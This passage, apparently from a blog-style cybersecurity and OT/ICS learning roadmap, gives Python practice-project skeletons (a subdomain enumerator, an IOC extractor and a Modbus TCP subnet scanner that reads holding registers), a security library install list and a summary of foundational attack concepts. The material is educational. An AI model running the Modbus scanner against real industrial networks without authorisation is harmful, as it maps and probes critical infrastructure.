        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fqdn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gaierror&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;enumerate_subdomains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wordlist_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Enumerate subdomains using a wordlist.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# Read wordlist
&lt;/span&gt;    &lt;span class="c1"&gt;# Use ThreadPoolExecutor to resolve concurrently
&lt;/span&gt;    &lt;span class="c1"&gt;# Return list of (fqdn, ip) tuples for discovered subdomains
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Test with: python3 subdomain_enum.py -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Wordlists are in /usr/share/seclists/ on Kali
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 4: IOC Extractor (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
IOC Extractor — Stage 0.5 Project 4
Extract Indicators of Compromise from text (emails, logs, reports).
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="c1"&gt;# Extract all of:
# - IPv4 addresses
# - IPv6 addresses  
# - Domain names
# - URLs (http and https)
# - Email addresses
# - MD5 hashes
# - SHA1 hashes
# - SHA256 hashes
# - File paths (Windows and Linux)
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_iocs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Extract all IOC types from text. Return dict of IOC type → list.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# Your regex-based implementation here
&lt;/span&gt;    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# Usage: cat suspicious_email.txt | python3 ioc_extractor.py
# Or: python3 ioc_extractor.py -f malware_report.txt -o iocs.json
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Project 5: Modbus Scanner (OT/ICS Specific — 2 hours)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Modbus TCP Scanner — Stage 0.5 Project 5
Discover and fingerprint Modbus TCP devices on a network.
This is directly relevant to OT/ICS security assessment.

Install: pip3 install pymodbus
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pymodbus.client&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ModbusTcpClient&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;probe_modbus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Probe a host for Modbus TCP.
    Try to read device identification (function code 43/14).
    Return device info dict or None.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ModbusTcpClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

        &lt;span class="c1"&gt;# Try reading holding registers (function code 03)
&lt;/span&gt;        &lt;span class="c1"&gt;# Registers 0-9, unit ID 1
&lt;/span&gt;        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_holding_registers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;slave&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;host&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;port&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;responsive&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isError&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;registers&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;registers&lt;/span&gt;

        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_subnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Scan an entire subnet for Modbus devices.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;network&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;found_devices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="c1"&gt;# Your threaded implementation here
&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;found_devices&lt;/span&gt;

&lt;span class="c1"&gt;# This scanner demonstrates:
# 1. Industrial protocol implementation in Python
# 2. Network scanning with proper error handling
# 3. Concurrency for performance
# 4. Structured output suitable for reporting
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Books
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Automate the Boring Stuff with Python"&lt;/strong&gt; — Al Sweigart (free at automatetheboringstuff.com). Practical Python without the academic fluff.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Black Hat Python"&lt;/strong&gt; — Justin Seitz. Security-specific Python — network sniffer, trojans, forensics tools. Directly applicable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Violent Python"&lt;/strong&gt; — TJ O'Connor. Older but foundational — shows how to build security tools from scratch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Learning Python"&lt;/strong&gt; — Mark Lutz. The comprehensive reference if you want deep language knowledge.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Online Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Python official docs&lt;/strong&gt; — docs.python.org/3 — the most accurate reference&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real Python&lt;/strong&gt; (realpython.com) — high quality tutorials&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PyMOTW&lt;/strong&gt; (pymotw.com) — Python Module of the Week — deep dives into standard library&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;regex101.com&lt;/strong&gt; — test regex patterns interactively with explanation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exercism.io&lt;/strong&gt; (Python track) — structured exercises with mentor feedback&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HackerRank&lt;/strong&gt; (Python domain) — algorithmic challenges&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PicoCTF&lt;/strong&gt; — CTF challenges where Python scripting solves many problems&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CryptoHack&lt;/strong&gt; (cryptohack.org) — cryptography challenges solved in Python&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Essential Security Libraries
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install the core security Python toolkit&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    scapy &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Packet crafting and analysis&lt;/span&gt;
    requests &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# HTTP library&lt;/span&gt;
    pwntools &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# CTF/exploit development&lt;/span&gt;
    impacket &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Windows network protocols&lt;/span&gt;
    cryptography &lt;span class="se"&gt;\ &lt;/span&gt;  &lt;span class="c"&gt;# Cryptographic operations&lt;/span&gt;
    paramiko &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# SSH client/server&lt;/span&gt;
    pymodbus &lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="c"&gt;# Modbus industrial protocol&lt;/span&gt;
    python-nmap &lt;span class="se"&gt;\ &lt;/span&gt;   &lt;span class="c"&gt;# Nmap wrapper&lt;/span&gt;
    shodan &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Shodan API&lt;/span&gt;
    volatility3      &lt;span class="c"&gt;# Memory forensics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Stage 00 Complete — What You Now Have
&lt;/h2&gt;

&lt;p&gt;With this module, Stage 00 — Foundations is complete. Here is what you have built:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stage 00 — Complete
├── ✅ Hardware Fundamentals     — CPU rings, RAM attacks, firmware, physical security
├── ✅ OS Fundamentals           — Kernel, user/kernel mode, processes, file systems, syscalls
├── ✅ Windows Fundamentals      — Registry, services, UAC, Defender, PowerShell, Event Log
├── ✅ Linux Fundamentals        — Permissions, users, services, cron, SSH, logs
└── ✅ Programming Fundamentals  — Python, variables, loops, functions, files, regex, algorithms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What this foundation enables:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You understand why the stack smashing vulnerability works — because you know how memory layout works, what stack frames are, and what the instruction pointer does.&lt;/li&gt;
&lt;li&gt;You understand why Pass-the-Hash works — because you know NTLM authentication, the Windows token system, and how credentials are stored in LSASS.&lt;/li&gt;
&lt;li&gt;You understand why SUID exploitation works — because you know the Linux permission model, the difference between real and effective UID, and how the kernel enforces privilege boundaries.&lt;/li&gt;
&lt;li&gt;You can write scripts that automate your work — because you have Python fundamentals and understand file I/O, error handling, and basic algorithms.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next: Stage 01 — Network Fundamentals&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The internet runs on protocols. Every attack crosses a network. Every defence monitors network traffic. Stage 01 builds the networking knowledge that everything from enumeration to exploitation to detection depends on.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Stage:&lt;/strong&gt; &lt;a href="//../STAGE-01_Network-Fundamentals/README.md"&gt;Stage 01 — Network Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-0.4-linux-fundamentals.md"&gt;Stage 0.4 — Linux Fundamentals&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 00 README&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>security</category>
      <category>api</category>
      <category>learning</category>
    </item>
  </channel>
</rss>
